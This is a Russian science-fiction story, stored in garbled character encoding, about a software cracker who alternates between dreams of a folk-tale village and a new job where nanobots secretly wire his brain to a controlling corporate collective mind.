� Äà, � Àëåêñåé âçÿë áîêàë è ñäåëàë íåáîëüøîé ãëîòîê. Îí óæå äàâíî
õîòåë ïèòü, â ãîðëå ïåðåñîõëî è âèíî ïðèøëîñü êàê íåëüçÿ êñòàòè.
� Ôîðìàëüíîñòè çàéìóò åùå íåäåëþ, òàê ÷òî ïðèõîäèòå â ñëåäóþùèé
ïîíåäåëüíèê ñþäà ê 9 ÷àñàì, � Âèêòîð ñèìâîëè÷åñêè îòïèë èç áîêàëà
è ïîñòàâèë åãî íà ñòîë, � ÿ Âàñ ïîçíàêîìëþ ñ êóðàòîðîì, îí Âàì âñå ïî-
êàæåò è îòâåòèò íà âñå âîçíèêøèå âîïðîñû.
Êîãäà Ëåõà äîïèë âèíî, Âèêòîð âñòàë, ïîêàçûâàÿ, ÷òî âñòðå÷à çàêîí÷å-
íà, ïðîâîäèë åãî äî ëèôòà è íà ïðîùàíèå ïîæåëàë åìó óäà÷è.
Ìèíóò ÷åðåç äâàäöàòü Ëåõà ñèäåë â ïàðêå, íåäàëåêî îò íîâîãî ìåñòà ðà-
áîòû, è ðàçìûøëÿë î ïðîèñøåäøåì. Ñèãàðåòà â ðóêå äîãîðåëà äî
ôèëüòðà, è îí ïðèêóðèë âòîðóþ � ñïåøèòü áûëî íåêóäà. Ïðèäðàòüñÿ
áûëî íå ê ÷åìó, ïî÷òè âñå áûëî ïðèëè÷íî. Íåïîíÿòíû áûëè òîëüêî äâå
âåùè: ãäå áûëè âñå ðàáîòíèêè, è ïî÷åìó ñ íèì áåñåäîâàë ñàì õîçÿèí.
Åùå ïîë÷àñà ïåðåáèðàë îí ðàçíûå âàðèàíòû, ïîðîé ñàìûå ôàíòàñòè-
÷åñêèå, íî ïîòîì ðåøèë íå çàìîðà÷èâàòüñÿ, âñòàë è ïîøåë äîìîé.

[ñîí] Äåâóøêà øëà ïî òðîïèíêå àêêóðàòíî, ñòàðàÿñü íå ðàñïëåñêàòü âî-
äó. Îäíîé ðóêîé îíà ïðèäåðæèâàëà êîðîìûñëî, íà êîòîðîì âèñåëè äâà
ïîëíûõ âåäðà, à äðóãîé � ëåãêî ïîêà÷èâàëà â òàêò ïîõîäêå. Ñòðàííî áû-
ëî, ÷òî øëà îíà èç ëåñà, õîòÿ íåäàëåêî, íà ñàìîì êðàþ äåðåâíè, áûë âè-
äåí êîëîäåö. Ñîëíöå íå óñïåëî ïîäíÿòüñÿ âûñîêî, îñòàòêè óòðåííåãî òó-
ìàíà åùå áûëè âèäíû â íèçèíàõ. Òðîïèíêà áûëà óçêàÿ, ïî÷òè çàðîñøàÿ,
è êðàÿ ñàðàôàíà äåâóøêè ïîòåìíåëè îò ðîñû, êîòîðàÿ áëåñòåëà âîêðóã
íà òðàâå. Îí ñòîÿë íà êðàþ ïîëÿíû, îêîëî âûñîêîé ñîñíû, è ñìîòðåë íà
äåâóøêó. «Ãäå ýòî ÿ?». Ïåðåâåë ãëàçà íà ñîñíó, ïîòðîãàë ðóêàìè êîðó.
Ïîëíîå îùóùåíèå ðåàëüíîñòè. Äàæå ìóðàâåé, êîòîðîãî îí âèäåë äî ýòî-
ãî òîëüêî â ìóëüòèêàõ, áåæàë ââåðõ ïî ñòâîëó. Ïîïûòàëñÿ îòñòðàíèòüñÿ
îò âñåãî ïðîèñõîäÿùåãî, íî èëëþçèÿ íå îòïóñêàëà. «Íó è ëàäíî, ïóñòü
áóäåò ñêàçêà». Íîãè ñàìè ñäåëàëè äâà øàãà, îòäåëÿâøèõ åãî îò òðîïèí-
êè, è îí îêàçàëñÿ ñ äåâóøêîé ëèöîì ê ëèöó.
� Îé, òû ÷åãî, îãëàøåííûé, ðàçâå ìîæíî òàê ëþäåé ïóãàòü, � èñïóã íà
ëèöå äåâóøêè ìãíîâåííî ñìåíèëñÿ ëþáîïûòñòâîì.
� Çäðàâñòâóé, äåâèöà � ÷åðò, êàê òàì äàëüøå â ñêàçêàõ � äîçâîëü âî-
äèöû èñïèòü.
� Êàê òû ñìåøíî ðàçãîâàðèâàåøü, � ó äåâóøêè îêàçàëèñü çàìå÷àòåëü-
íûå çåëåíûå ãëàçà, � ïåé, êîíå÷íî, ìíå íå æàëêî.
Âçÿâ âåäðî äâóìÿ ðóêàìè, îí îñòîðîæíî íàêëîíèë åãî è ñäåëàë
áîëüøîé ãëîòîê ïðÿìî ÷åðåç êðàé. Âîäà áûëà íå ïðîñòî õîëîäíîé,
îíà áûëà ëåäÿíîé. Ãîðëî òóò æå ñâåëî. Îò íåîæèäàííîñòè îí óìóä-
ðèëñÿ åùå è îáëèòüñÿ.
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� Íå òîðîïèñü, ýòî æå ðîäíèêîâàÿ âîäà, æèâàÿ, îíà íè÷åãî ïëîõîãî íå
ñäåëàåò, � äåâóøêà ïðûñíóëà â ëàäîøêó.
Âîäà è ïðàâäà áûëà âêóñíàÿ. Çóáû ëîìèëî îò õîëîäà, æåëóäîê âîçìó-
ùåííî ñæàëñÿ, íî ïî òåëó ïðîêàòèëàñü âîëíà áîäðîñòè è ñâåæåñòè.
Âäðóã íàä ëåñîì ïðîêàòèëñÿ òèõèé çâîí. Îí îòñòðàíèëñÿ îò âåäðà è, âû-
òèðàÿ ëàäîíüþ ïîäáîðîäîê îò êàïåëü, ïîñìîòðåë íàçàä, êàê áóäòî çâóê
ìîæíî áûëî óâèäåòü. Âîêðóã ïîëÿíû áûë âñå òîò æå ëåñ, òîëüêî òóìàí
çàêëóáèëñÿ è ñòàë ïîäáèðàòüñÿ áëèæå ê òðîïèíêå. Îí ïîâåðíóëñÿ ê äå-
âóøêå, íî òðîïèíêà ðÿäîì ñ íèì áûëà ïóñòà. Îò âòîðîãî, áîëåå ãðîìêî-
ãî çâîíà, òóìàí ìãíîâåííî ïîäíÿëñÿ è íàêðûë åãî ñ ãîëîâîé.

[ÿâü] Ëåõà ðûâêîì ñåë. Íå îòêðûâàÿ ãëàç, ïîøàðèë ðóêîé ïî ñòóëó
ðÿäîì ñ äèâàíîì, íàøåë ìîáèëüíèê è íàæàë íà êíîïêó. Çâóê ïðåêðà-
òèëñÿ, íî ñîí óæå óñêîëüçíóë. Îñòàëîñü òîëüêî îùóùåíèå ñêàçêè. Ñ
ýòèì îùóùåíèåì îí óìûëñÿ, ïðîãëîòèë ÷àé ñ áóòåðáðîäîì è ðàçáó-
äèë ñâîé êîìïüþòåð. Ñíû ñíàìè, íî çà êâàðòèðó íàäî ïëàòèòü, äà è
åñòü èíîãäà õî÷åòñÿ, à êàðòî÷êà îò íîâîãî ðàáîòîäàòåëÿ áóäåò åùå
íåèçâåñòíî êîãäà. Ñåãîäíÿ íàäî áûëî çàêîí÷èòü ñ âçëîìîì îäíîé
ïðîãðàììû è îòäàòü åå çàêàç÷èêó. Ïðîãðàììà ñòîèëà ìíîãî äåñÿòêîâ
êèëîáàêñîâ äà åùå è áûëà çàïðåùåíà ê ïðîäàæå çà ïðåäåëàìè ÑØÀ.
Çàêàç÷èê âûøåë íà íåãî íåñêîëüêî äíåé íàçàä ïî ðåêîìåíäàöèè åãî
ñåòåâîãî çíàêîìîãî, âíåñ àâàíñ è äàë ëèíê íà ñêà÷êó. Â÷åðà îí ïðî-
øåë äâà óðîâíÿ çàùèòû è âûøåë íà òðåòèé, ïîëó÷àÿ èñòèííîå óäî-
âîëüñòâèå îò êëàññíîé ðàáîòû ðàçðàáîò÷èêîâ ïðîãðàììû. Ñ ãîëîâîé
ïîãðóçèâøèñü â ðàáîòó, îí íå çàìåòèë, êàê ïðîøåë äåíü. À, ñäàâ ðà-
áîòó è ïîëó÷èâ äåíüãè, äàæå íåìíîãî ðàññòðîèëñÿ. Ñêîðåå âñåãî, ýòî
áûëà ïîñëåäíÿÿ åãî ðàáîòà òàêîãî ðîäà.
Âñÿ íåäåëÿ áûëà çàíÿòà êàêèìè-òî ìåëêèìè äåëàìè, äî êîòîðûõ ïîñòî-
ÿííî íå äîõîäèëè ðóêè. Äîïèñàë ïàðó ïðîãðàìì, îòäàë äîëãè, äàæå âûã-
ðåá èç õîëîäèëüíèêà äàâíî èñïîðòèâøèåñÿ ïðîäóêòû è ïîìûë åãî. À
âðåìÿ âñå òÿíóëîñü è òÿíóëîñü. Ïîñëåäíèå äâà äíÿ îí ïðîñòî òóïî ñìîò-
ðåë òåëåâèçîð, ïîòÿãèâàÿ ïèâî.
È âîò íåäåëÿ ïðîøëà. Íå ñïàëîñü. Çàâòðà îí ïåðâûé ðàç â æèçíè âûé-
äåò íà îôèöèàëüíóþ ðàáîòó. Ìîæíî áóäåò çàêàçàòü âèçèòêè è ïðè
âñòðå÷å ïðåäñòàâëÿòüñÿ êàê àíàëèòèê êîìïàíèè «Ïåðñïåêòèâíûå òåõíî-
ëîãèè». À ÷åðåç ãîäèê-äðóãîé îí áóäåò âûõîäèòü èç ñâîåé íîâîé øèêàð-
íîé êâàðòèðû, ÷ìîêíóâ íà ïðîùàíèå êðàñàâèöó æåíó, è íà ðîñêîøíîé
íîâåíüêîé èíîìàðêå ïîåäåò íà ðàáîòó. Îí îòðàñòèò æèâîò, âìåñòî
äæèíñîâ è ôóòáîëêè áóäåò íîñèòü äîðîãèå êîñòþìû. Íèêàêîãî ïèâà íà

êóõíå ñ äðóçüÿìè: âñå âñòðå÷è áóäóò ïðîõîäèòü òîëüêî â ñàìûõ ëó÷øèõ
ðåñòîðàíàõ. Ïðåäñòàâëÿÿ âñå ýòî, îí çäîðîâî ðàçâåñåëèëñÿ, íàïðÿæå-
íèå èñ÷åçëî, è âñêîðå îí óñíóë.

[ñîí] Òðîïèíêà ñòàëà øèðå, è îíè ïîøëè ðÿäîì. Äåâóøêó çâàëè Íàñ-
òåé. Îíà æèëà âìåñòå ñ áàáóøêîé â ñòàðîì äîìå ñ ãîëóáûìè ñòàâíÿìè
íà êðàþ äåðåâíè. Îí íå ÷óâñòâîâàë íèêàêîãî íàïðÿæåíèÿ, ðàçãîâàðè-
âàÿ ñ íåé, êàê áóäòî îíè äàâíî äðóã äðóãà çíàëè. Â íàñòîÿùåé æèçíè îí
íå ìîã íîðìàëüíî îáùàòüñÿ ñ äåâóøêàìè, ñòîèëî îäíîé èç íèõ ñ íèì
çàãîâîðèòü, êàê îí ñðàçó êðàñíåë, íà÷èíàë íåðâíè÷àòü è çàèêàòüñÿ.
� À ïî÷åìó òû íå áåðåøü âîäó èç êîëîäöà, îí æå áëèæå?
� Òàì ìåðòâàÿ âîäà, åé òîëüêî ðàíû ìîæíî ïðîìûâàòü, ÷òîá çàðîñëè
áûñòðåå. Èëè ñèíÿêè ìàçàòü, îíè òîãäà çà äåíü ïðîõîäÿò. À ïèòü åå
íåëüçÿ, íåæèòüþ ñòàíåøü. Òåáÿ ÷òî, íå ïðåäóïðåäèëè?
� Êòî?
� Íó òå, ê êîìó òû ïðèåõàë. Òû æå íå ñ íåáà ñþäà ñâàëèëñÿ?
� Ïî÷òè. ß íè ê êîìó íå ïðèåõàë, à îêàçàëñÿ òóò ñëó÷àéíî.
� Ïîäîæäè, � Íàñòÿ îñòàíîâèëàñü è ñ èíòåðåñîì ïîñìîòðåëà íà íåãî,
� òàê òû èç ýòèõ, èç ïàðàëëåëüíûõ? Òîãäà òåáå íàäî ê äåäó Ñòåïàíó.
Îíè âñå ê íåìó ðàíî èëè ïîçäíî ïîïàäàþò.
Åìó âäðóã ïîêàçàëîñü, ÷òî ïîõîëîäàëî. Êðàñèâàÿ ñêàçêà ðàññûïàëàñü,
åäâà óñïåâ íà÷àòüñÿ. À îí áûë óâåðåí, ÷òî ýòî âñå òîëüêî äëÿ íåãî. È
÷òî ñêîðî ïîÿâÿòñÿ Áàáà-ßãà èëè Çìåé Ãîðûíû÷,  îí áóäåò ñïàñàòü Íàñ-
òþ è ñîâåðøàòü ðàçíûå ïîäâèãè.
� Íàñòÿ, ïîãîäè, íå òàðàòîðü, îáúÿñíè íîðìàëüíî. ×òî çà «ïàðàë-
ëåëüíûå»?
� Äà ÿ ñàìà òî÷íî íå çíàþ. Ïðîñòî èíîãäà ïîÿâëÿþòñÿ, ñëîâíî èç íè-
îòêóäà, ëþäè,� êòî íà íåñêîëüêî ìèíóò, êòî íà íåñêîëüêî ÷àñîâ. Âñå
ñòðàííûå, ñëîâíî áîëüíûå, ñëîâà ÷óäíûå ãîâîðÿò, ïðîñòûõ âåùåé íå
çíàþò. Ïîòîì ïðîïàäàþò. Íåêîòîðûå ñíîâà ïðèõîäÿò. Îäíîãî íåäàâíî
ñ äåðåâà ñíèìàëè, áûêà íàøåãî Áîðüêó óâèäåë è ïðÿìî âçëåòåë íà áå-
ðåçó. Åëå-åëå â ñåáÿ åãî ïðèâåëè, îí âñå ïðî êàêîé-òî «äóì» áîðìîòàë,
à ïîòîì òîæå ïðîïàë. Ëàäíî, ïîéäåì, ÿ òîëüêî âîäó äîìîé çàíåñó è ïðî-
âîæó òåáÿ ê äåäó Ñòåïàíó. Òîëüêî òû íå ïðîïàäàé, ëàäíî?
� ß�

[ÿâü] Êóðàòîðîì áûëà ñîâñåì ìîëîäåíüêàÿ äåâóøêà ïî èìåíè Íàäÿ.
Íà÷àëà îíà íå ñ ýêñêóðñèè ïî çäàíèþ, êàê Ëåõà ïðåäïîëàãàë, à ñðàçó
ïîâåëà åãî â òåõöåíòð. «×òî ó íèõ çà ëèôòû: êíîïîê íåò, íà êàêîé ýòàæ
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ïðèåõàë íåïîíÿòíî. Íàäî áóäåò ñïðîñèòü, êàê èìè óïðàâëÿòü, à òî áðî-
ñÿò ïîòîì êàê êîòåíêà îäíîãî, ðàçáèðàéñÿ ñ íèìè», � äóìàë îí, ïîêà
îíè äîáèðàëèñü äî ìåñòà. Òåõöåíòð áîëüøå âñåãî íàïîìèíàë êîìíàòó
îòäûõà. Âäîëü ñòåí ñòîÿëè äèâàíû, íà êîòîðûõ áûëè ðàçáðîñàíû ñîâåð-
øåííî ëåãêîìûñëåííûå ïîäóøå÷êè. Íåñêîëüêî êðåñåë, ãëÿäÿ íà êîòî-
ðûå õîòåëîñü ñåñòü â íèõ è, îòêèíóâøèñü, áåççàáîòíî âçäðåìíóòü, ñòîÿ-
ëè ïî âñåé êîìíàòå. Â êîìíàòå íèêîãî íå áûëî.
� Îíè âñå ê ýêñïåðòàì óøëè, ÷òî-òî òàì ñëó÷èëîñü, � ñêàçàëà Íàäÿ, ïî-
äîäâèãàÿ îäíî èç êðåñåë â öåíòð êîìíàòû ïðÿìî íà áîëüøîé áåëûé êðóã,
íàðèñîâàííûé íà ïîëó, � ñàäèòåñü, ÿ ñàìà âñå ñäåëàþ. Áóäåò íå áîëü-
íî, � îíà óëûáíóëàñü, � íåìíîãî ïîøóìèò â ãîëîâå � è âñå.
Ëåõà ñåë â êðåñëî, ÷òî-òî åìó ïåðåñòàâàëî ýòî íðàâèòüñÿ, íî äåâóøêà
æäàëà, è îò ìûñëè, ÷òî îíà ìîæåò ïîäóìàòü, ÷òî îí ñòðóñèë, åãî áðî-
ñèëî â êðàñêó.
Êðåñëî áûëî ïðèÿòíî ïðîõëàäíûì, îíî íåìíîãî èçîãíóëîñü ïîä âåñîì
òåëà è ïîäñòðîèëîñü ïîä åãî ôîðìó. Íåñêîëüêî ñåêóíä íè÷åãî íå ïðîèñ-
õîäèëî, ïîòîì êàê áóäòî êòî-òî ïîäóë íà çàòûëîê, ùåëêíóëî â óøàõ è íà
ìãíîâåíèå ïîòåìíåëî â ãëàçàõ. Øóì â ãîëîâå íàðàñòàë, çàõâàòèë âåñü
ìîçã è ïëàâíî ðàñòàÿë.
� Íó, âîò è âñå, êàê îùóùåíèÿ? � Íàäÿ ñòîÿëà ðÿäîì è âîïðîñèòåëüíî
ñìîòðåëà íà íåãî.
� Äà, âðîäå, âñå íîðìàëüíî, ïîøóìåëî òîëüêî, � Ëåõà ïîïûòàëñÿ
âñòàòü ñ êðåñëà, íî ãîëîâà ðåçêî çàêðóæèëàñü.
� Íå âñòàâàéòå, ïîñèäèòå ìèíóò äåñÿòü. Ïîïðîáóéòå ñàìîñòîÿòåëüíî
ïîíÿòü, ÷òî ïðîèçîøëî. ß Âàñ îñòàâëþ, êîãäà ïîíàäîáëþñü � ïîçîâèòå,
� äåâóøêà áûñòðî âûøëà, íå îñòàâèâ åìó øàíñà çàäàòü âîïðîñ.
Ëåõà íå òàê ïðåäñòàâëÿë ñåáå îôèöèàëüíóþ ðàáîòó. Â ìûñëÿõ îí ïðåäñ-
òàâëÿë, ÷òî ïîñàäÿò åãî çà êàêîé-íèáóäü ñòîë â êîìíàòå ñ äðóãèìè, îí
íàñòðîèò êîìï ïîä ñåáÿ, áóìàæêè êàêèå-íèáóäü ïî÷èòàåò, ñàì ÷òî-íè-
áóäü áóäåò ïèñàòü. À òóò íå ðàáîòà, à èíñòèòóò ìîçãà êàêîé-òî.
«Äà ÷òî çà ôèãíÿ òóò ïðîèñõîäèò, â êîíöå êîíöîâ!».
«Áûëî àêòèâèðîâàíî âçàèìîäåéñòâèÿ ñåòè íàíîáîòîâ è öåíòðàëüíîé
íåðâíîé ñèñòåìû», � ìûñëü ðîäèëàñü â åãî ãîëîâå êàê áû ñàìà ñîáîé.
«Êàêèõ åùå íàíîáîòîâ, òû � êòî?»
«Â îïðåäåëåííîì ñìûñëå, ÿ áåçëè÷íîñòíûé êîëëåêòèâíûé ðàçóì, âñåõ

íàõîäÿùèõñÿ äîñòàòî÷íî áëèçêî ñîòðóäíèêîâ êîìïàíèè, è òâîå ïîäñîç-
íàíèå â òîì ÷èñëå. Ñ ïîìîùüþ âíåäðåííûõ òåáå íåäåëþ íàçàä áîòîâ,
ïðîèçâåäåííûõ êîìïàíèåé ïî íàíîòåõíîëîãèè, áûëà ñîáðàíà ñåòü, ñîå-
äèíÿþùàÿ âñå ÷àñòè ìîçãà, â òîì ÷èñëå íåèñïîëüçóåìûå, ðåçåðâíûå,
ñïÿùèå è îòâå÷àþùèå çà äîëãîñðî÷íóþ ïàìÿòü, â åäèíûé êîìïëåêñ. Íà
äàííûé ìîìåíò èñïîëüçîâàíèå ìîçãà ïîâûøåíî ñ 10%, êàê ó îáû÷íûõ
ëþäåé, äî 25%. Â òå÷åíèå ìåñÿöà ïëàíèðóåòñÿ äîâåñòè äî 75%, áîëåå
áûñòðàÿ àêòèâàöèÿ íåæåëàòåëüíà èç-çà âîçìîæíîãî ïñèõîëîãè÷åñêîãî
øîêà. Â êà÷åñòâå äîïîëíèòåëüíûõ âîçìîæíîñòåé ñìîíòèðîâàí óçåë
ñâÿçè, ïîääåðæèâàþùèé êîíòàêò íà ðàññòîÿíèè äî 1000 ìåòðîâ ñ ëþ-
áûì èíäèâèäîì ñ àíàëîãè÷íîé ñòðóêòóðîé ìîçãà è âîçìîæíîñòüþ àóäèî-
âèçóàëüíîãî ìîäåëèðîâàíèÿ áåç ó÷àñòèÿ îðãàíîâ ÷óâñòâ».
«À ïîïîäðîáíåå ïðî «âíåäðåííûõ ìíå» è ïðî îñòàëüíîå».
«Âíåäðåíèå � ñòàíäàðòíàÿ îïåðàöèÿ ñ íîâè÷êàìè. Òû ïîëó÷èë íàáîð
íàíîáîòîâ âìåñòå ñ áîêàëîì âèíà ïîñëå ïîäïèñàíèÿ êîíòðàêòà. Â êîíò-
ðàêòå, êñòàòè, ïðî ýòî áûëî íàïèñàíî. Â òå÷åíèå íåäåëè áîòû ñ ïîòîêîì
êðîâè ïåðåìåùàëèñü â ìîçã è ïîäñîåäèíÿëèñü ê íåðâíîé ñèñòåìå».
Âíåçàïíî, ïðÿìî â âîçäóõå, ïåðåä íèì âîçíèêëî îáúåìíîå èçîáðàæå-
íèå ìîçãà, ïîëíîñòüþ îïóòàííîãî ìåëêîé ñåòüþ, óçåëêè ñåòè ïîäñâå÷è-
âàëèñü îðàíæåâûì öâåòîì.
«Ýòî ìîäåëü òâîåãî ìîçãà, îðàíæåâûå òî÷êè � êîëîíèè íàíîáîòîâ.
Æåëòîå ïÿòíî íà çàòûëêå, � íåáîëüøîå êðóãëîå ïÿòíî íà ìîäåëè
âñïûõíóëî, � ìîäóëü ñâÿçè è âèçóàëèçàöèè».
«Çà÷åì ìíå âñå ýòî?».
«Â òâîè îáÿçàííîñòè âõîäèò àíàëèç. Äàííûå ñîáèðàþòñÿ âåçäå, ãäå
òîëüêî ìîæíî, äðóãèìè ñîòðóäíèêàìè, îíè, êàê ãèãàíòñêèå áàçû äàí-
íûõ,  ãîòîâû ìãíîâåííî ïðåäîñòàâèòü íóæíûå äàííûå. Òû ýòè äàííûå
áóäåøü îáðàáàòûâàòü. Äëÿ òåáÿ ýòî áóäåò âûãëÿäåòü, áóäòî òû ïðîñòî
ðàçìûøëÿåøü, è â íóæíûé ìîìåíò ïðîèñõîäèò îçàðåíèå».
«À îáû÷íûì êîìïüþòåðàì ýòî íåëüçÿ áûëî ïîðó÷èòü?»
«Ìîæíî, íî êîìïüþòåðû îïåðèðóþò òîëüêî ïîíÿòèÿìè «èñòèíà» è
«ëîæü», òîãäà êàê ÷åëîâåê îïåðèðóåò ìíîãîçíà÷íîé ëîãèêîé, ãäå êðîìå
íèõ åñòü åùå è «âîçìîæíî», «ìàëîâåðîÿòíî» è òàê äàëåå. Êðîìå òîãî,
ìîçã îïåðåæàåò êîìïüþòåð íà íåñêîëüêî ïîðÿäêîâ ïî ñêîðîñòè è îáúå-
ìó ïàìÿòè. Ïî íàøèì ïðîãíîçàì êîìïüþòåðû, áåç íàøåé ïîìîùè, ñìîã-
ëè áû äîñòè÷ü óðîâíÿ îáû÷íîãî ÷åëîâåêà íå ðàíüøå 2058 ãîäà».
«À ñ ïîìîùüþ?»
«Íèêîãäà. Íàøè ðàçðàáîòêè äåëàþò êîìïüþòåðû íåíóæíûìè êàê
êëàññ, è îíè èñ÷åçíóò êàê ìàññîâîå ÿâëåíèå ïðèìåðíî ÷åðåç äåñÿòü
ëåò. Îñòàíóòñÿ òîëüêî ñïåöèàëèçèðîâàííûå, áåç èíòåëëåêòà. Â ìàøè-
íàõ, ñòàíêàõ è ò.ï.».
«À êàê æå òîãäà áóäåì æèòü? ×òî åùå èñ÷åçíåò, ÷òî ïîÿâèòñÿ», � Ëåõà
ïëîõî ïðåäñòàâëÿë ñåáå æèçíü áåç êîìïüþòåðîâ, è ëþáîïûòñòâî ïðÿìî
ðàçäèðàëî åãî.
«Íå áóäåò îòäåëüíûõ ðàáî÷èõ ìåñò, çà÷åì åõàòü êóäà-òî, åñëè ìîæíî
äåëàòü ýòî æå äîìà èëè ãäå-íèáóäü â ïàðêå, òîëüêî âèðòóàëüíî. Ìàøèí
ñòàíåò â ñîòíè ðàç ìåíüøå, âåäü åçäèòü íè ê ÷åìó. Íå áóäåò òåëå- è âè-
äåîòåõíèêè. Çàõîòåë ýêðàí � îí óæå ïåðåä òîáîé, èíôîðìàöèÿ ïåðåäà-
åòñÿ ïðÿìî â ìîçã, â çðèòåëüíûå îáëàñòè. Íå íóæíî áóäåò òàêîå ðàçíî-
îáðàçèå åäû: äîñòàòî÷íî óæå ðàçðàáîòàííîé ïèòàòåëüíîé ìàññû, à
ìîçã áóäåò îùóùàòü ëþáîé âíåøíèé âèä è âêóñ, êîòîðûé òû çàõî÷åøü.
Ìíîãî ÷åãî èçìåíèòñÿ, âñå íå ðàññêàæåøü. Ñàì ïîòîì ñïðîãíîçèðóåøü,
åñëè èíòåðåñíî áóäåò, èëè ïîñìîòðèøü íàøè ðàñ÷åòû».
«Íî òàê ìîæíî äîéòè è âîîáùå äî âèðòóàëüíîé æèçíè, êàê â Ìàòðèöå».
«Äà, òàê è áóäåò, ïî ïðîãíîçàì ÷åðåç 50 ëåò îêîëî 60% ëþäåé äîáðî-
âîëüíî áóäåò æèòü òîëüêî âèðòóàëüíî».
Îíè áåñåäîâàëè âåñü äåíü, îáñóæäàÿ ðàçíûå àñïåêòû íîâîé òåõíîëî-
ãèè. Èçðåäêà èõ ïðåðûâàëà Íàäÿ, êîòîðàÿ ñëåäèëà, êàê ó íåãî ïðîõîäèò
àäàïòàöèÿ. Ê êîíöó äíÿ Àëåêñåé óæå íà÷àë ïðèâûêàòü ê íîâûì ñïîñîá-
íîñòÿì, èññëåäîâàë çäàíèå, ïîñìîòðåë ïðîãíîçû.
Íà ñëåäóþùèé äåíü îí óæå íà÷àë ðàáîòàòü. Íà ïåðâûé âçãëÿä, çàäà-
íèÿ áûëè íåâûïîëíèìûìè, íî ïîñëå íà÷àëà àíàëèçà � îêàçûâàëèñü
äîâîëüíî ïðîñòûìè. Äëÿ íà÷àëà åìó óäàëîñü âû÷èñëèòü àâòîðà âèðó-
ñà, ðàçâàëèâàþùåãî Èíòåðíåò íà ÷àñòè, ïàðåíü áûë î÷åíü ñïîñîá-
íûé, è åìó õîòåëè ïðåäëîæèòü ðàáîòó. Ëåãêîñòü, ñ êîòîðîé Ëåõà ïî-
ëó÷àë äîñòóï ê ñåðâåðàì, åãî ïîðàçèëà, ïîõîæå, â åãî ðàñïîðÿæåíèè
áûëè çíàíèÿ ëó÷øèõ õàêåðîâ.
Íåäåëÿ ðàáîòû ïðîëåòåë íåçàìåòíî. Äîìà îí òîëüêî íî÷åâàë: âñå âðå-
ìÿ ïðîâîäèë â çäàíèè èç ñèíåãî ñòåêëà. Ðàáî÷åå ìåñòî ó íåãî âñå-òàêè
áûëî � íåáîëüøàÿ êîìíàòà ñ åäèíñòâåííûì êðåñëîì. Íî îí ñðàçó ïîñ-
ëå ïðèõîäà íà ðàáîòó ìûñëåííî åãî ïðåîáðàçîâûâàë � òî îêàçûâàÿñü
íà áåðåãó ìîðÿ, òî íà îïóøêå ëåñà.
Îäíàæäû, êîãäà îí óòðîì ñîáèðàëñÿ óéòè íà ðàáîòó, âçãëÿä ñëó÷àéíî
óïàë íà ôîòîãðàôèþ íà êîìîäå. Íà íåé áûëè êàêèå-òî ìóæ÷èíà è æåí-
ùèíà. Îí äîëãî ïûòàëñÿ ïîíÿòü, êòî îíè, ïîêà, íàêîíåö, íå äîøëî � ðî-
äèòåëè. Êàê îí ìîã çàáûòü? Ïîïûòàëñÿ âñïîìíèòü äåòñòâî è � íè÷åãî.
Íó íå ñîâñåì íè÷åãî, êîíå÷íî. Ïåðâûé äåíü â øêîëå âñïîìíèë, íî êòî



åãî îòâåë � íåò. Êòî ñèäåë ñ íèì çà ïàðòîé � íåò, à êàê çâàëè ïåðâóþ
ó÷èòåëüíèöó, âñïîìíèë ìãíîâåííî. Íî ýòî áûëà íå åãî ïàìÿòü, ýòî îí
âû÷èñëèë â êàêîé-òî áàçå äàííûõ ïî ñâîåé ôàìèëèè, íîìåðó êëàññà è
ãîäó ó÷åáû. Âäðóã ñòàëî ñòðàøíî.
Âñþ äîðîãó äî ðàáîòû îí ïûòàëñÿ âñïîìíèòü ÷òî-íèáóäü åùå èç
äåòñòâà, íî ïåðåä âíóòðåííèì âçîðîì âñïëûâàëè òîëüêî îòäåëüíûå
êàðòèíêè, íèêàê íå ñâÿçàííûå äðóã ñ äðóãîì. Êàê áóäòî ëèñòàë ñòàðûé
ôîòîàëüáîì, èç êîòîðîãî âûïàëà áîëüøàÿ ÷àñòü ôîòîê.
«Ïîêàçàòü çîíû ïàìÿòè â ìîåì ìîçãå è çîíû, èñïîëüçóåìûå áîòàìè».
Ïåðåä íèì âîçíèêëà îáúåìíàÿ ìîäåëü åãî ìîçãà, ðàñêðàøåííàÿ ðàçíû-
ìè öâåòàìè. Êðàòêîâðåìåííàÿ ïàìÿòü áûëà íå çàäåòà, à äîëãîâðåìåí-
íàÿ áîëåå ÷åì íà ïîëîâèíó áûëà çàõâà÷åíà áîòàìè.
«Ïîêàçàòü ñèòóàöèþ ïîñëå ïîëíîé àäàïòàöèè!». Äîëãîâðåìåííîé ïàìÿ-
òè ïðàêòè÷åñêè íå áûëî. Ìîçã êîíòðîëèðîâàëñÿ ïî÷òè ïîëíîñòüþ.
«Êàê îñòàíîâèòü àäàïòàöèþ?»
Îí íå óñïåë äîäóìàòü ìûñëü, êàê òåëî ñêðóòèëî îò áîëè, è ðàçóì
ïîòóõ. Î÷íóëñÿ óæå íà ïîëó, ñ ïðîòèâíî äðîæàùèì òåëîì è ñëà-
áîñòüþ â ãîëîâå.
«Òû êîñíóëñÿ çàïðåùåííîé òåìû», � ïðîèçíåñ â ãîëîâå ó÷àñòëèâûé ãî-
ëîñ Âèêòîðà, � çàðàíåå ïðåäóïðåæäàòü íå ñòàëè, ÷òîáû óðîê áûë íàã-
ëÿäíåå, â ñëåäóþùèé ðàç íàêàçàíèå áóäåò ñèëüíåå è äîëüøå.
«Ìîãëè áû è ïðåäóïðåäèòü. À ÷òî åùå çàïðåùåíî? À òî íàðûâàòüñÿ ÷òî-
òî áîëüøå íå õî÷åòñÿ», � äàæå äóìàòü áûëî íåïðèÿòíî è áîëüíî, è åùå
Ëåõå æóòêî õîòåëîñü ìàòåðèòüñÿ.
«Çàïðåùåíî âñå, ÷òî ñâÿçàíî ñ óíè÷òîæåíèåì è îãðàíè÷åíèåì áîòîâ,
çàïðåùåíî ïðîñ÷èòûâàòü ñâîå áóäóùåå. Çàïîìíèë?».
«Äà. Ïîïðîáóé òàêîå çàáóäü».
«Âîò è ñëàâíî. Íåìíîãî îòäîõíè è ïðîäîëæàé ðàáîòàòü», � Âèêòîð îòê-
ëþ÷èëñÿ.
«Òâîþ ìàòü, âîò ýòî ÿ ïîïàë», � Ëåõà êîå-êàê çàáðàëñÿ â êðåñëî. Áîëå-
ëî âñå è ñ òðóäîì çàãëóøèâ ìûñëè è ÷óâñòâà, îí «âûøåë» èç òåëà, â
ïåðâûé ðàç çà âñå âðåìÿ ðàáîòû òóò. Áîëü îòïóñòèëà ñðàçó, âåðíåå, îíà
îñòàëàñü â òåëå.
